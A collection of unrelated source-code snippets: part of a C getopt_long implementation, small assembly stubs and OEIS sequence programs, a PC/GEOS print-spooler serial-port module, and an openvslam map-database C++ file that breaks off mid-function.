cnt++;
}
if (cnt==1) {
i = match;
optind++;
optopt = longopts[i].val;
if (*opt == '=') {
if (!longopts[i].has_arg) {
if (colon || !opterr)
return '?';
__getopt_msg(argv[0],
": option does not take an argument: ",
longopts[i].name,
strlen(longopts[i].name));
return '?';
}
optarg = opt+1;
} else {
if (longopts[i].has_arg == required_argument) {
if (!(optarg = argv[optind])) {
if (colon) return ':';
if (!opterr) return '?';
__getopt_msg(argv[0],
": option requires an argument: ",
longopts[i].name,
strlen(longopts[i].name));
return '?';
}
optind++;
} else optarg = NULL;
}
if (idx) *idx = i;
if (longopts[i].flag) {
*longopts[i].flag = longopts[i].val;
return 0;
}
return longopts[i].val;
}
if (argv[optind][1] == '-') {
if (!colon && opterr)
__getopt_msg(argv[0], cnt ?
": option is ambiguous: " :
": unrecognized option: ",
argv[optind]+2,
strlen(argv[optind]+2));
optind++;
return '?';
}
}
return getopt(argc, argv, optstring);
}
int getopt_long(int argc, char *const *argv, const char *optstring, const struct option *longopts, int *idx)
{
return __getopt_long(argc, argv, optstring, longopts, idx, 0);
}
int getopt_long_only(int argc, char *const *argv, const char *optstring, const struct option *longopts, int *idx)
{
return __getopt_long(argc, argv, optstring, longopts, idx, 1);
}
|
INCLUDE MACROS
.CODE STARTUP_TEXT
PUBLIC PERSONALITY
PERSONALITY PROC
SETT LIB_NOT_FOUND_FATAL
RET
PERSONALITY ENDP
END
|
SECTION code_fp_am9511
PUBLIC cam32_sdcc___fs2slong_callee
EXTERN asm_am9511_f2slong
EXTERN asm_sdcc_read1_callee
.cam32_sdcc___fs2slong_callee
call asm_sdcc_read1_callee
jp asm_am9511_f2slong
|
Name: kart-enemy.asm
Type: file
Size: 24496
Last-Modified: '1992-11-18T01:34:04Z'
SHA-1: 4BC42D62711BB032B3703D09E68AC8B714E21A4C
Description: null
|
; A029015: Expansion of 1/((1-x)(1-x^2)(1-x^5)(1-x^11)).
; 1,1,2,2,3,4,5,6,7,8,10,12,14,16,18,21,24,27,30,33,37,41,46,50,55,60,66,72,78,84,91,98,106,114,122,131,140,150,160,170,181,192,204,216,229,242,256,270,285,300,316,332,349,366,384,403,422,442,462,483
mov $1,17
lpb $0,1
mov $2,$0
sub $0,1
cal $2,25780 ; Expansion of 1/((1-x)(1-x^5)(1-x^11)).
sub $0,1
add $1,$2
lpe
sub $1,16
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1990 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Print Spooler
FILE: processSerial.asm
AUTHOR: Jim DeFrisco, 26 March 1990
ROUTINES:
Name Description
---- -----------
InitSerialPort do init for port
ExitSerialPort do exit for port
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 3/26/90 Initial revision
DESCRIPTION:
This file contains the routines to initialize and close the serial
port
$Id: processSerial.asm,v 1.1 97/04/07 11:11:21 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PrintInit segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InitSerialPort
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Open the port and do special serial port initialization
CALLED BY: INTERNAL
InitPrinterPort
PASS: nothing
RETURN: carry set if problem opening port
if carry set, then ax = error type (PortErrors)
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
put pseudo code here
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 03/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
serialParams equ <curJob.SJI_info.JP_portInfo.PPI_params.PP_serial>
InitSerialPort proc near
uses bx,di,cx,dx,ds
curJob local SpoolJobInfo
.enter inherit
; copy the port address over to idata
mov ax, dgroup
mov ds, ax
mov ax, curJob.SJI_stream.offset ; move offset
mov ds:[serialStrategy].offset, ax
mov ax, curJob.SJI_stream.segment ; move offset
mov ds:[serialStrategy].segment, ax
; open the port
tryOpen:
mov bx, serialParams.SPP_portNum
mov dx, SPOOL_SERIAL_OUTPUT_BUFFER_SIZE
mov cx, SPOOL_SERIAL_INPUT_BUFFER_SIZE
mov di, DR_STREAM_OPEN
mov ax, mask SOF_NOBLOCK
push bp ; save frame pointer
call curJob.SJI_stream ; open the port
pop bp ; restore frame pointer
jnc serialPortOK
mov cx, PERROR_SERIAL_ERR
mov dx, curJob.SJI_qHan
call SpoolErrorBox ; signal problem
TestUserStandardDialogResponses SPOOL_BAD_USER_STANDARD_DIALOG_RESPONSE, IC_OK, IC_DISMISS
cmp ax, IC_DISMISS
jne tryOpen ; if not cancelling...
mov ax, PE_PORT_NOT_OPENED ; signal error type
stc ; again..
jmp done
; initialize the port parameters
serialPortOK:
mov al, serialParams.SPP_format
mov ah, serialParams.SPP_mode
mov bx, serialParams.SPP_portNum
mov cx, serialParams.SPP_baud
mov di, DR_SERIAL_SET_FORMAT
push bp
call curJob.SJI_stream ; open the port
pop bp
; set the flow control
clr ah
mov al, serialParams.SPP_flow
mov bx, serialParams.SPP_portNum
mov cl, serialParams.SPP_stopRem
mov ch, serialParams.SPP_stopLoc
mov di, DR_SERIAL_SET_FLOW_CONTROL
push bp
call curJob.SJI_stream ; open the port
pop bp
; set the error notification mechanism
push bp ; save frame pointer
mov di, DR_STREAM_SET_NOTIFY
mov ax, StreamNotifyType <0, SNE_ERROR, SNM_ROUTINE>
mov bx, serialParams.SPP_portNum
mov cx, dgroup
mov dx, offset dgroup:StreamErrorHandler
mov bp, curJob.SJI_qHan ; value to pass in ax
call ds:[serialStrategy] ; call to driver
pop bp
; set up something to read the input stream when it's full
push bp ; save frame pointer
mov di, DR_STREAM_SET_NOTIFY
mov ax, StreamNotifyType <1, SNE_DATA, SNM_ROUTINE>
mov bx, serialParams.SPP_portNum
mov cx, dgroup
mov dx, offset dgroup:StreamInputHandler
mov bp, curJob.SJI_qHan ; value to pass in ax
call ds:[serialStrategy] ; call to driver
pop bp
; now set the connection info for the printer driver
mov di, DR_PRINT_SET_STREAM
mov cx, serialParams.SPP_portNum
mov si, curJob.SJI_info.JP_portInfo.PPI_type
mov dx, curJob.SJI_sHan ; pass stream handle
mov bx, curJob.SJI_pstate ; pass pstate handle
call curJob.SJI_pDriver
clc ; signal no error
; all done
done:
.leave
ret
InitSerialPort endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ExitSerialPort
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Close the port
CALLED BY: INTERNAL
ClosePrinterPort
PASS: nothing
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
put pseudo code here
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 03/90 Exitial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ExitSerialPort proc near
uses ax,bx,di
curJob local SpoolJobInfo
.enter inherit
; close the port
mov bx, serialParams.SPP_portNum
mov ax, STREAM_LINGER
mov di, DR_STREAM_CLOSE
push bp
call curJob.SJI_stream ; open the port
pop bp
; all done
.leave
ret
ExitSerialPort endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VerifySerialPort
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Verify the existance and operation of the port
CALLED BY: INTERNAL
SpoolVerifyPrinterPort
PASS: portStrategy - inherited local variable
ds:si - PrintPortInfo
RETURN: carry - SET if there is some problem
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
just return with carry clear for now.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 08/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
serialPort equ <ds:[si].PPI_params.PP_serial>
VerifySerialPort proc near
uses ax, bx, cx, di
portStrategy local fptr
.enter inherit
; get the device map from the serial driver and check if
; our guy is there
mov di, DR_STREAM_GET_DEVICE_MAP
call portStrategy
; ax has device map, test for the bit we're interested in
mov cx, serialPort.SPP_portNum ; get port number
mov bx, 1
shl bx, cl ; should line up
and ax, bx
jz noWayJose ; port doesn't exist
clc
exit:
.leave
ret
; can't find the port. signal error.
noWayJose:
mov cx, SERROR_MISSING_COM_PORT
clr dx
call SpoolErrorBox
stc
jmp exit
VerifySerialPort endp
PrintInit ends
PrintError segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ErrorSerialPort
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Handle serial port errors
CALLED BY: serial driver, via StreamErrorHandler in idata
PASS: ds - segment of locked queue segment
*ds:si - pointer to queue that is affected
dx - error code (SerialErrors)
inherits curJob local variabes
RETURN: carry - set if print job should abort
ds - still points at PrintQueue (may have changed)
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
handle error in serial port. Possible errors include:
* SE_BREAK - Break condition detected on line
* SE_FRAME - Framing error
* SE_PARITY - Parity error
* SE_OVERRUN - new byte received before old byte read
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 07/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
serPort equ <PPI_params.PP_serial.SPP_portNum>
ErrorSerialPort proc near
uses ax,bx,cx,di,es
.enter
; set up es -> dgroup, so we can get the address of the
; serial port driver strategy routine
mov ax, dgroup
mov es, ax
; we don't need to query the driver, since we were passed the
; error type. For the serial port, just put up a generic
; sounding error box
mov cx, PERROR_SERIAL_ERR ; set proper enum
; OK, so we want to signal the user that something is wrong.
; First let's unlock the print queue so we don't clog up
; any other threads that are running.
call UnlockQueue ; release the queue
mov dx, si ; dx = queue handle
call SpoolErrorBox
push ax ; save error code
call LockQueue ; get queue back, since
mov ds, ax ; caller expects it
pop ax ; restore error code
; check to see what to do...
TestUserStandardDialogResponses SPOOL_BAD_USER_STANDARD_DIALOG_RESPONSE, IC_OK, IC_DISMISS, IC_NULL
cmp ax, IC_DISMISS ; should we abort?
jne signalNoError ; no, continue
; the user has decided to call it quits. Close down the
; port and let the spooler handle all the errors generated.
mov bx, ds:[si] ; deref queue handle
mov ds:[bx].QI_error, SI_ABORT ; signal abort
; close the port
mov bx, ds:[bx].QI_portInfo.serPort
mov di, DR_STREAM_CLOSE ; close the port
mov ax, STREAM_DISCARD ; kill the data
call es:[serialStrategy] ; signal the driver
stc ; set error flag
done:
.leave
ret
; apparently we don't really have a problem. At least none
; that we want to kill the job for...
signalNoError:
clc ; set no-error flag
jmp done
ErrorSerialPort endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InputSerialPort
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Empty the input buffer so we can continue
CALLED BY: INTERNAL
CommPortInputHandler
PASS: ds:bx -> QueueInfo structure
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jim 6/24/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
BOGUS_READ_STACK_USAGE equ 32 ; amount to read @time
InputSerialPort proc near
uses ax, bx, cx, dx, es, di
.enter
; set up es -> dgroup, so we can get the address of the
; serial port driver strategy routine
mov ax, dgroup
mov es, ax
; just read the data.
push ds, si
mov bx, ds:[si] ; dereference queuehan
mov bx, ds:[bx].QI_portInfo.serPort
mov di, DR_STREAM_READ ; close the port
mov ax, STREAM_NOBLOCK ; kill the data
segmov ds, ss, si
sub sp, BOGUS_READ_STACK_USAGE ; do a bit at a time
mov si, sp
call es:[serialStrategy] ; signal the driver
add sp, BOGUS_READ_STACK_USAGE ; restore stack
pop ds, si
.leave
ret
InputSerialPort endp
PrintError ends
|
; A081252: Partial sums of A053646.
; 0,0,1,1,2,4,5,5,6,8,11,15,18,20,21,21,22,24,27,31,36,42,49,57,64,70,75,79,82,84,85,85,86,88,91,95,100,106,113,121,130,140,151,163,176,190,205,221,236,250,263,275,286,296,305,313,320,326,331,335,338,340,341,341
lpb $0
mov $2,$0
sub $0,1
seq $2,80776 ; Oscillating sequence which rises to 2^(k-1) in k-th segment (k>=1) then falls back to 0.
add $1,$2
lpe
mov $0,$1
|
#include "openvslam/camera/base.h"
#include "openvslam/data/common.h"
#include "openvslam/data/frame.h"
#include "openvslam/data/keyframe.h"
#include "openvslam/data/landmark.h"
#include "openvslam/data/camera_database.h"
#include "openvslam/data/map_database.h"
#include "openvslam/util/converter.h"
#include <spdlog/spdlog.h>
#include <nlohmann/json.hpp>
namespace openvslam {
namespace data {
std::mutex map_database::mtx_database_;
map_database::map_database() {
spdlog::debug("CONSTRUCT: data::map_database");
}
map_database::~map_database() {
clear();
spdlog::debug("DESTRUCT: data::map_database");
}
void map_database::add_keyframe(keyframe* keyfrm) {
std::lock_guard<std::mutex> lock(mtx_map_access_);
keyframes_[keyfrm->id_] = keyfrm;
if (keyfrm->id_ > max_keyfrm_id_) {
max_keyfrm_id_ = keyfrm->id_;
}
}
void map_database::erase_keyframe(keyframe* keyfrm) {
std::lock_guard<std::mutex> lock(mtx_map_access_);
keyframes_.erase(keyfrm->id_);
// TODO: delete object
}
void map_database::add_landmark(landmark* lm) {
std::lock_guard<std::mutex> lock(mtx_map_access_);
landmarks_[lm->id_] = lm;
}
void map_database::erase_landmark(landmark* lm) {
std::lock_guard<std::mutex> lock(mtx_map_access_);
landmarks_.erase(lm->id_);
// TODO: delete object
}
void map_database::set_local_landmarks(const std::vector<landmark*>& local_lms) {
std::lock_guard<std::mutex> lock(mtx_map_access_);
local_landmarks_ = local_lms;
}
std::vector<landmark*> map_database::get_local_landmarks() const {
std::lock_guard<std::mutex> lock(mtx_map_access_);
return local_landmarks_;
}
std::vector<keyframe*> map_database::get_all_keyframes() const {
std::lock_guard<std::mutex> lock(mtx_map_access_);
std::vector<keyframe*> keyframes;
keyframes.reserve(keyframes_.size());
for (const auto id_keyframe : keyframes_) {
keyframes.push_back(id_keyframe.second);
}
return keyframes;
}
unsigned int map_database::get_num_keyframes() const {
std::lock_guard<std::mutex> lock(mtx_map_access_);
return keyframes_.size();
}
std::vector<landmark*> map_database::get_all_landmarks() const {
std::lock_guard<std::mutex> lock(mtx_map_access_);
std::vector<landmark*> landmarks;
landmarks.reserve(landmarks_.size());
for (const auto id_landmark : landmarks_) {
landmarks.push_back(id_landmark.second);
}
return landmarks;
}
unsigned int map_database::get_num_landmarks() const {
std::lock_guard<std::mutex> lock(mtx_map_access_);
return landmarks_.size();
}
unsigned int map_database::get_max_keyframe_id() const {
std::lock_guard<std::mutex> lock(mtx_map_access_);
return max_keyfrm_id_;
}
void map_database::clear() {
std::lock_guard<std::mutex> lock(mtx_map_access_);
for (auto& lm : landmarks_) {
delete lm.second;
lm.second = nullptr;
}
for (auto& keyfrm : keyframes_) {
delete keyfrm.second;
keyfrm.second = nullptr;
}
landmarks_.clear();
keyframes_.clear();
max_keyfrm_id_ = 0;
local_landmarks_.clear();
origin_keyfrm_ = nullptr;
frm_stats_.clear();
spdlog::info("clear map database");
}
void map_database::from_json(camera_database* cam_db, bow_vocabulary* bow_vocab, bow_database* bow_db,
const nlohmann::json& json_keyfrms, const nlohmann::json& json_landmarks) {
std::lock_guard<std::mutex> lock(mtx_map_access_);
// Step 1. delete all the data in map database
for (auto& lm : landmarks_) {
delete lm.second;
lm.second = nullptr;
}
for (auto& keyfrm : keyframes_) {
delete keyfrm.second;
keyfrm.second = nullptr;
}
landmarks_.clear();
keyframes_.clear();
max_keyfrm_id_ = 0;
local_landmarks_.clear();
origin_keyfrm_ = nullptr;
// Step 2. Register keyframes
// If the object does not exist at this step, the corresponding pointer is set as nullptr.
spdlog::info("decoding {} keyframes to load", json_keyfrms.size());
for (const auto& json_id_keyfrm : json_keyfrms.items()) {
const auto id = std::stoi(json_id_keyfrm.key());
assert(0 <= id);
const auto json_keyfrm = json_id_keyfrm.value();
register_keyframe(cam_db, bow_vocab, bow_db, id, json_keyfrm);
}
// Step 3. Register 3D landmark point
// If the object does not exist at this step, the corresponding pointer is set as nullptr.
spdlog::info("decoding {} landmarks to load", json_landmarks.size());
for (const auto& json_id_landmark : json_landmarks.items()) {
const auto id = std::stoi(json_id_landmark.key());
assert(0 <= id);
const auto json_landmark = json_id_landmark.value();
register_landmark(id, json_landmark);
}
// Step 4. Register graph information
spdlog::info("registering essential graph");
for (const auto& json_id_keyfrm : json_keyfrms.items()) {
const auto id = std::stoi(json_id_keyfrm.key());
assert(0 <= id);
const auto json_keyfrm = json_id_keyfrm.value();
register_graph(id, json_keyfrm);
}
// Step 5. Register association between keyframs and 3D points
spdlog::info("registering keyframe-landmark association");
for (const auto& json_id_keyfrm : json_keyfrms.items()) {
const auto id = std::stoi(json_id_keyfrm.key());
assert(0 <= id);
const auto json_keyfrm = json_id_keyfrm.value();
register_association(id, json_keyfrm);
}
// Step 6. Update graph
spdlog::info("updating covisibility graph");
for (const auto& json_id_keyfrm : json_keyfrms.items()) {
const auto id = std::stoi(json_id_keyfrm.key());
assert(0 <= id);
assert(keyframes_.count(id));
auto keyfrm = keyframes_.at(id);
keyfrm->graph_node_->update_connections();
keyfrm->graph_node_->update_covisibility_orders();
}
// Step 7. Update geometry
spdlog::info("updating landmark geometry");
for (const auto& json_id_landmark : json_landmarks.items()) {
const auto id = std::stoi(json_id_landmark.key());
assert(0 <= id);
assert(landmarks_.count(id));
auto lm = landmarks_.at(id);
lm->update_normal_and_depth();
lm->compute_descriptor();
}
}
void map_database::register_keyframe(camera_database* cam_db, bow_vocabulary* bow_vocab, bow_database* bow_db,
const unsigned int id, const nlohmann::json& json_keyfrm) {
// Metadata
const auto src_frm_id = json_keyfrm.at("src_frm_id").get<unsigned int>();
const auto timestamp = json_keyfrm.at("ts").get<double>();
const auto camera_name = json_keyfrm.at("cam").get<std::string>();
const auto camera = cam_db->get_camera(camera_name);
const auto depth_thr = json_keyfrm.at("depth_thr").get<float>();
// Pose information
const Mat33_t rot_cw = convert_json_to_rotation(json_keyfrm.at("rot_cw"));
const Vec3_t trans_cw = convert_json_to_translation(json_keyfrm.at("trans_cw"));
const auto cam_pose_cw = util::converter::to_eigen_cam_pose(rot_cw, trans_cw);
// Keypoints information
const auto num_keypts = json_keyfrm.at("n_keypts").get<unsigned int>();
// keypts
const auto json_keypts = json_keyfrm.at("keypts");
const auto keypts = convert_json_to_keypoints(json_keypts);
assert(keypts.size() == num_keypts);
// undist_keypts
const auto json_undist_keypts = json_keyfrm.at("undists");
const auto undist_keypts = convert_json_to_undistorted(json_undist_keypts);
assert(undist_keypts.size() == num_keypts);
// bearings
auto bearings = eigen_alloc_vector<Vec3_t>(num_keypts);
assert(bearings.size() == num_keypts);
camera->convert_keypoints_to_bearings(undist_keypts, bearings);
// stereo_x_right
const auto stereo_x_right = json_keyfrm.at("x_rights").get<std::vector<float>>();
assert(stereo_x_right.size() == num_keypts);
// depths
const auto depths = json_keyfrm.at("depths").get<std::vector<float>>();
assert(depths.size() == num_keypts);
// descriptors
const auto json_descriptors = json_keyfrm.at("descs");
const auto descriptors = convert_json_to_descriptors(json_descriptors);
assert(descriptors.rows == static_cast<int>(num_keypts));
// Scale information in ORB
const auto num_scale_levels = json_keyfrm.at("n_scale_levels").get<unsigned int>();
const auto scale_factor = json_keyfrm.at("scale_factor").get<float>();
// Construct a new object
auto keyfrm = new data::keyframe(id, src_frm_id, timestamp, cam_pose_cw, camera, depth_thr,
num_keypts, keypts, undist_keypts, bearings, stereo_x_right, depths, descriptors,
num_scale_levels, scale_factor, bow_vocab, bow_db, this);
// Append to map database
assert(!keyframes_.count(id));
keyframes_[keyfrm->id_] = keyfrm;
if (keyfrm->id_ > max_keyfrm_id_) {
max_keyfrm_id_ = keyfrm->id_;
}
if (id == 0) {
origin_keyfrm_ = keyfrm;
}
}
void map_database::register_landmark(const unsigned int id, const nlohmann::json& json_landmark) {
const auto first_keyfrm_id = json_landmark.at("1st_keyfrm").get<int>();
const auto pos_w = Vec3_t(json_landmark.at("pos_w").get<std::vector<Vec3_t::value_type>>().data());
const auto ref_keyfrm_id = json_landmark.at("ref_keyfrm").get<int>();
const auto ref_keyfrm = keyframes_.at(ref_keyfrm_id);
const auto num_visible = json_landmark.at("n_vis").get<unsigned int>();
const auto num_found = json_landmark.at("n_fnd").get<unsigned int>();
auto lm = new data::landmark(id, first_keyfrm_id, pos_w, ref_keyfrm,
num_visible, num_found, this);
assert(!landmarks_.count(id));
landmarks_[lm->id_] = lm;
}
void map_database::register_graph(const unsigned int id, const nlohmann::json& json_keyfrm) {
// Graph information
const auto spanning_parent_id = json_keyfrm.at("span_parent").get<int>();
const auto spanning_children_ids = json_keyfrm.at("span_children").get<std::vector<int>>();
const auto loop_edge_ids = json_keyfrm.at("loop_edges").get<std::vector<int>>();
assert(keyframes_.count(id));
assert(spanning_parent_id == -1 || keyframes_.count(spanning_parent_id));
keyframes_.at(id)->graph_node_->set_spanning_parent((spanning_parent_id == -1) ? nullptr : keyframes_.at(spanning_parent_id));
for (const auto spanning_child_id : spanning_children_ids) {
assert(keyframes_.count(spanning_child_id));
keyframes_.at(id)->graph_node_->add_spanning_child(keyframes_.at(spanning_child_id));
}
for (const auto loop_edge_id : loop_edge_ids) {
assert(keyframes_.count(loop_edge_id));
keyframes_.at(id)->graph_node_->add_loop_edge(keyframes_.at(loop_edge_id));
}
}
void map_database::register_association(const unsigned int keyfrm_id, const nlohmann::json& json_keyfrm) {
// Key points information
const auto num_keypts = json_keyfrm.at("n_keypts").get<unsigned int>();
const auto landmark_ids = json_keyfrm.at("lm_ids").get<std::vector<int>>();
assert(landmark_ids.size() == num_keypts);
assert(keyframes_.count(keyfrm_id));
auto keyfrm = keyframes_.at(keyfrm_id);
for (unsigned int idx = 0; idx < num_keypts; ++idx) {
const auto lm_id = landmark_ids.at(idx);
if (lm_id < 0) {
continue;
}
if (!landmarks_.count(lm_id)) {
spdlog::warn("landmark {}: not found in the database", lm_id);
continue;
}
auto lm = landmarks_.at(lm_id);
keyfrm->add_landmark(lm, idx);
lm->add_observation(keyfrm, idx);
}
}
void map_database::to_json(nlohmann::json& json_keyfrms, nlohmann::json& json_landmarks) {
std::lock_guard<std::mutex> lock(mtx_map_access_);
// Save each keyframe as json
spdlog::info("encoding {} keyframes to store", keyframes_.size());
std::map<std::string, nlohmann::json> keyfrms;
for (const auto id_keyfrm : keyframes_) {
const auto id = id_keyfrm.first;
const auto keyfrm = id_keyfrm.second;
assert(keyfrm);
assert(id == keyfrm->id_);
assert(!keyfrm->will_be_erased());
keyfrm->graph_node_->update_connections();
assert(!keyfrms.count(std::to_string(id)));
keyfrms[std::to_string(id)] = keyfrm->to_json();
}
json_keyfrms = keyfrms;
// Save each 3D point as json
spdlog::info("encoding {} landmarks to store", landmarks_.size());
std::map<std::string, nlohmann::json> landmarks;
for (const auto id_lm : landmarks_) {
const auto id = id_lm.first;
const auto lm = id_lm.second;
assert(lm);
assert(id == lm->id_);
assert(!lm->will_be_erased());
lm->update_normal_and_depth();
assert(!landmarks.count(std::to_string(id)));
landmarks[std::to_string(id)] = lm->to_json();
}
json_landmarks = landmarks;
}
void map_database::from_buffer(camera_database *cam_db, bow_vocabulary *bow_vocab,
bow_database *bow_db,
const std::vector<keyframe::keyframe_data> &keyframe_data,
const std::vector<landmark::landmark_data> &landmark_data) {
std::lock_guard<std::mutex> lock(mtx_map_access_);
// Step 1. delete all the data in map database
for (auto& lm : landmarks_) {
delete lm.second;
lm.second = nullptr;
}
for (auto& keyfrm : keyframes_) {
delete keyfrm.second;
keyfrm.second = nullptr;
}
landmarks_.clear();
keyframes_.clear();
max_keyfrm_id_ = 0;
local_landmarks_.clear();
origin_keyfrm_ = nullptr;
spdlog::info("decoding {} keyframes to load", keyframe_data.size());
for (const auto& keyframe: keyframe_data) {
Eigen::Quaterniond quat(keyframe.rot_w, keyframe.rot_x, keyframe.rot_y, keyframe.rot_z);
Mat33_t rot_cw = quat.toRotationMatrix();
Vec3_t trans_cw(keyframe.trans_x, keyframe.trans_y, keyframe.trans_z);
Mat44_t cam_pose_cw = util::converter::to_eigen_cam_pose(rot_cw, trans_cw);
camera::base* camera = cam_db->get_camera(keyframe.camera_name);
auto bearings = eigen_alloc_vector<Vec3_t>(keyframe.n_keypoints);
auto undist_keypoints = std::vector<cv::KeyPoint>();
undist_keypoints.reserve(keyframe.n_keypoints);
auto keypoints = std::vector<cv::KeyPoint>();
keypoints.reserve(keyframe.n_keypoints);
for (auto& kp : keyframe.undistorted_keypoints) {
undist_keypoints.emplace_back(cv::KeyPoint(kp.x, kp.y, 1.0));
}
for (auto& kp : keyframe.keypoints) {
keypoints.emplace_back(cv::KeyPoint(kp.x, kp.y, 0, kp.angle, 0, kp.octave, -1));
}
cv::Mat descriptors(keyframe.descriptors.size(), 32, CV_8U);
for (unsigned int idx = 0; idx < keyframe.descriptors.size(); ++idx) {
const auto& descriptor = keyframe.descriptors.at(idx);
auto p = descriptors.row(idx).ptr<uint32_t>();
for (unsigned int i = 0; i < 8; ++i, ++p) {
*p = descriptor.at(i);
}
}
camera->convert_keypoints_to_bearings(undist_keypoints, bearings);
auto keyfrm = new data::keyframe(keyframe.id, keyframe.source_frame_id, keyframe.timestamp, cam_pose_cw, camera,
keyframe.depth_thr, keyframe.n_keypoints, keypoints, undist_keypoints, bearings,
keyframe.x_rights, keyframe.depths, descriptors, keyframe.num_scale_levels,
keyframe.scale_factor, bow_vocab, bow_db, this);
assert(!keyframes_.count(id));
keyframes_[keyfrm->id_] = keyfrm;
if (keyfrm->id_ > max_keyfrm_id_) {
max_keyfrm_id_ = keyfrm->id_;
}
if (keyfrm->id_ == 0) {
origin_keyfrm_ = keyfrm;
}
}
spdlog::info("decoding {} landmarks to load", landmark_data.size());
for (const auto& landmark : landmark_data) {
Vec3_t pos_w(landmark.pos_x, landmark.pos_y, landmark.pos_z);
auto lm = new data::landmark(landmark.id, landmark.first_keyframe_id, pos_w,
keyframes_.at(landmark.ref_keyframe_id),
landmark.num_observable, landmark.num_observed, this);
landmarks_[lm->id_] = lm;
}
spdlog::info("registering essential graph");
for (const auto& keyframe: keyframe_data) {
auto id = keyframe.id;
auto spanning_parent_id = keyframe.span_parent;
auto spanning_children_ids = keyframe.spanning_child_ids;
auto loop_edge_ids = keyframe.loop_edge_ids;
keyframes_.at(id)->graph_node_->set_spanning_parent((spanning_parent_id == -1) ? nullptr : keyframes_.at(spanning_parent_id));
for (const auto spanning_child_id : spanning_children_ids) {
assert(keyframes_.count(spanning_child_id));
keyframes_.at(id)->graph_node_->add_spanning_child(keyframes_.at(spanning_child_id));
}
for (const auto loop_edge_id : loop_edge_ids) {
assert(keyframes_.count(loop_edge_id));
keyframes_.at(id)->graph_node_->add_loop_edge(keyframes_.at(loop_edge_id));
}
}
spdlog::info("registering keyframe-landmark association");
for (const auto& keyframe : keyframe_data) {
const auto num_keypts = keyframe.n_keypoints;
const auto landmark_ids = keyframe.landmark_ids;
assert(landmark_ids.size() == num_keypts);
assert(keyframes_.count(keyfrm_id));
auto keyfrm = keyframes_.at(keyframe.id);
for (unsigned int idx = 0; idx < num_keypts; ++idx) {
const auto lm_id = landmark_ids.at(idx);
if (lm_id < 0) {
continue;
}
if (!landmarks_.count(lm_id)) {
spdlog::warn("landmark {}: not found in the database", lm_id);
continue;
}
auto lm = landmarks_.at(lm_id);
keyfrm->add_landmark(lm, idx);
lm->add_observation(keyfrm, idx);
}
}
spdlog::info("updating covisibility graph");
for (const auto& keyframe : keyframe_data) {
const auto id = keyframe.id;
assert(0 <= id);
assert(keyframes_.count(id));
auto keyfrm = keyframes_.at(id);
keyfrm->graph_node_->update_connections();
keyfrm->graph_node_->update_covisibility_orders();
}
spdlog::info("updating landmark geometry");
for (const auto& landmark : landmark_data) {
const auto id = landmark.id;
assert(0 <= id);
assert(landmarks_.count(id));
auto lm = landmarks_.at(id);
lm->update_normal_and_depth();
lm->compute_descriptor();
}
}
void map_database::to_buffer(std::vector<keyframe::keyframe_data> &keyframe_data, std::vector<landmark::landmark_data> &landmark_data) {
